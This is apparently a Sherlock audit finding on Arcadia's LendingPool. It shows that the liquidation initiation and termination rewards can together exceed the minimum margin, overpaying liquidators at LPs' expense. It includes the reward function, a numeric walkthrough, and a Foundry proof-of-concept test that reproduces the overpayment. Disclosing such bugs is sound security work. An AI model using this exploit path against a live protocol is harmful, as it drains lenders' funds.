Nice Quartz Whale

medium

# MinRewardWeight does not behave as intended and can lead to extra reward payout than minimum margin


## Summary
[minRewardWeight](https://github.com/sherlock-audit/2023-12-arcadia/blob/de7289bebb3729505a2462aa044b3960d8926d78/lending-v2/src/LendingPool.sol#L1195-L1197) is the parameter used by the protocol to make sure that liquidation intiation and termination reward's sum do not exceed minimum margin, it is capped to a max of 5000(i.e 50%) but it might not behave as intended as there are insufficient checks on the maxRewards parameter & on the \_calculateRewards function .

## Vulnerability Detail
Lets try to understand the vuln better by walking through a scenario-
In Lending pool penaltyWeight = 500, initiationWeight= 100, terminationWeight = 50 & minRewardsWeight = 200(2%, way below the 50% mark), initialMargin = 200 usd(more than enough to pay for gas fees on L2s) & maxReward = 200$.

Alice has 25000$ in collateral, 24800$ in openPosition, the price of alice's collateral moves a little downwards, lets say from 1 usd to 0.999 usd. Now alice has become liquidatble. Charlie  starts the liquidation so \_calculateRewards will calculate the initiationReward as follows (assuming both the lending and collateral have 6 decimals)- 

```solidity
    function _calculateRewards(uint256 debt, uint256 minimumMargin_)
        internal
        view
        returns (uint256 initiationReward, uint256 terminationReward, uint256 liquidationPenalty)
    {
        uint256 maxReward_ = maxReward;
        // The minimum reward, for both the initiation- and terminationReward, is defined as a fixed percentage of the minimumMargin.
        uint256 minReward = minimumMargin_.mulDivUp(minRewardWeight, ONE_4);

        // Initiation reward must be between minReward and maxReward.
        initiationReward = debt.mulDivDown(initiationWeight, ONE_4);
        initiationReward = initiationReward > minReward ? initiationReward : minReward;
        initiationReward = initiationReward > maxReward_ ? maxReward_ : initiationReward;

        // Termination reward must be between minReward and maxReward.
        terminationReward = debt.mulDivDown(terminationWeight, ONE_4);
        terminationReward = terminationReward > minReward ? terminationReward : minReward;
        terminationReward = terminationReward > maxReward_ ? maxReward_ : terminationReward;

        liquidationPenalty = debt.mulDivUp(penaltyWeight, ONE_4);
    }
```
minReward = (200e6 \* 200) / 10000 = 4e6(~4 $) 
initiationReward = (24800e6 * 100) / 10000 = 248e6 (248$)
now since initiationReward > maxReward(200 $) it will set initiationReward = 200 $ which in itself is equal to minimumMargin. similarly terminationReward will be set to 124 $.
So a totalLiquidation reward of 324$ which is leads to extra than intended.

**By the comments of hyperlink given in the summary, judge can verify that the developers are under the said assumption which is incorrect as i proved in above example**

Here is a working poc -
```solidity
/**
 * Created by Pragma Labs
 * SPDX-License-Identifier: BUSL-1.1
 */
pragma solidity 0.8.22;

import  "./_LendingPool.fuzz.t.sol";
import "../../../lib/accounts-v2/test/fuzz/Fuzz.t.sol";
import "../Fuzz.t.sol";
import "forge-std/console.sol";
import { ActionData } from "../../../lib/accounts-v2/src/interfaces/IActionBase.sol";
import { IPermit2 } from "../../../lib/accounts-v2/src/interfaces/IPermit2.sol";


// import "../../../src/Liquidator.sol";

import { AssetValuationLib } from "../../../lib/accounts-v2/src/libraries/AssetValuationLib.sol";

contract LendingPoolUnderstanding is LendingPool_Fuzz_Test {
    
    address alice;
    address bob;
    address charlie;
    AccountV1 aliceAccount;
    AccountV1 aliceAccount2;

    function setUp() public override {
        super.setUp();
        alice = makeAddr("alice");
        bob  = makeAddr("bob");
        charlie = makeAddr("charlie");
        vm.startPrank(users.liquidityProvider);
        mockERC20.stable1.burn(mockERC20.stable1.balanceOf(users.liquidityProvider));
        vm.stopPrank();
        vm.label(alice,"Alice");
    }

    function depositInAcc(ERC20Mock mockToken, AccountV1 account, uint amt) public {
        address owner = account.owner();
        vm.startPrank(owner);
        mockToken.mint(owner,amt);
        mockToken.approve(address(account),amt);
        address[] memory assets = new address[](1);
        uint[] memory assetIds = new uint[](1);
        uint [] memory assetAmts = new uint[](1);
        assetAmts[0] = amt;
        assets[0] = address(mockToken);
        account.deposit(assets,assetIds,assetAmts);
        vm.stopPrank();
    }

    function emitHelper() public {
        emit log_named_decimal_uint("openPos", pool.getOpenPosition(address(aliceAccount)), 6);
        emit log_named_decimal_uint("getUsedMargin",aliceAccount.getUsedMargin(),6);
        emit log_named_decimal_uint("collValue",aliceAccount.getCollateralValue(),6);
        emit log_named_decimal_uint("realizedLiqBenifit",pool.liquidityOfAndSync(charlie),6);

        emit log_named_decimal_uint("totalLiq",pool.totalLiquidity(),6);
        emit log_named_decimal_uint("stable1AliceBalance",mockERC20.stable1.balanceOf(alice),6);
        emit log_named_decimal_uint("JrTr",pool.liquidityOf(address(jrTranche)) ,6);
    }

    function testExtraLiqRewards() public {
        uint256 minimumMargin = 200 * 1e6;
        uint depositAmt = 25000 * 1e6; //depositAmt of mockStable2
        uint openPosition = 24800 * 1e6;

        // depositing amount into charlie
        // mockERC20.stable1.mint(charlie,200 * 1e6) ;
        assertEq(mockERC20.stable1.balanceOf(charlie),0);

        vm.prank(alice);
        mockERC20.stable1.approve(address(pool),UINT256_MAX);

       {
        vm.startPrank(pool.owner());
        (uint16 initiationW , uint16 penaltyW , uint16 terminationW , uint16 minRewardWeight ,  uint80 maxReward)=pool.getLiquidationParameters();

        // setting max reward to 200$ and minReward weight to 2%
        pool.setLiquidationParameters(initiationW, penaltyW, terminationW, 200, 200 * 1e6);
        emit log_named_uint("penaltyW", penaltyW);
        emit log_named_uint("initiationW", initiationW);
        emit log_named_uint("terminationW", terminationW);

        vm.stopPrank();

        vm.startPrank(users.riskManager);
        registryExtension.setRiskParametersOfPrimaryAsset(
            address(pool),
            address(mockERC20.stable2),
            0,
            type(uint112).max,
            uint16(AssetValuationLib.ONE_4),
            uint16(AssetValuationLib.ONE_4)
        );
        vm.stopPrank();
        }



        vm.startPrank(pool.owner());
        pool.setMinimumMargin(uint96(minimumMargin));
        vm.stopPrank();

        // checking minimum margin set
        (,,,uint minimumMargin_) = pool.openMarginAccount(1);
        assertEq(minimumMargin,minimumMargin_);

        // alice creates Account
        vm.startPrank(alice);
        aliceAccount = AccountV1(factory.createAccount(1234, 0, address(pool)));
        vm.stopPrank();

        // depositing in jr tranche
        mockERC20.stable1.mint(address(this),50000 * 1e6);
        mockERC20.stable1.approve(address(pool), 50000 * 1e6);
        jrTranche.deposit(50000 * 1e6, bob);

        depositInAcc(mockERC20.stable2, aliceAccount, depositAmt);
        // alice takes loan
        vm.startPrank(alice);
        pool.borrow(openPosition, address(aliceAccount), alice, bytes3(0));
        vm.stopPrank();

        console.log("----------------After Loan----------------");
        emitHelper();

        // price falls down by a little
        transmitOracle(mockOracles.stable2ToUsd,0.999 ether);

        // assertEq(aliceAccount.isA)
        assertEq(aliceAccount.isAccountLiquidatable(),true);



        console.log();
        console.log("----------------After PriceFall----------------");
        emitHelper();

        vm.startPrank(charlie);
        // attack starts
        liquidator.liquidateAccount(address(aliceAccount));

        console.log();
        console.log("----------------After AuctionStart----------------");
        emitHelper();
        console.log();

        vm.stopPrank();

        // alice pays back the debt 
        vm.startPrank(alice);
        pool.repay(3000 * 1e6, address(aliceAccount));
        vm.stopPrank();

        vm.startPrank(charlie);
        liquidator.endAuction(address(aliceAccount));
        console.log();
        console.log("----------------After AuctionEnd----------------");
        emitHelper();
        console.log();
        uint liquidationRewards = pool.liquidityOf(charlie);
        pool.withdrawFromLendingPool(liquidationRewards, charlie);
        emit log_named_decimal_uint("liquidationRewards", liquidationRewards, 6);
        assertGt(liquidationRewards, minimumMargin);
        vm.stopPrank();
    }
}
```

add it in lending-v2/test/fuzz/LendingPool as a new file. and run using 
```bash
forge test --match-test testExtraLiqRewards -vv
```
## Impact
Extra rewards than intended, loss to LPs

## Code Snippet
https://github.com/sherlock-audit/2023-12-arcadia/blob/de7289bebb3729505a2462aa044b3960d8926d78/lending-v2/src/LendingPool.sol#L1141-L1161

https://github.com/sherlock-audit/2023-12-arcadia/blob/de7289bebb3729505a2462aa044b3960d8926d78/lending-v2/src/LendingPool.sol#L1195-L1197


## Tool used

Manual Review

## Recommendation

Add checks in \_calculateRewards such that if sum of initiation + termination > minimumMargin decrease them proportionally. Or always have maxRewards = minimumMargin/2 but that will defeat the purpose of initiation & termination rewards.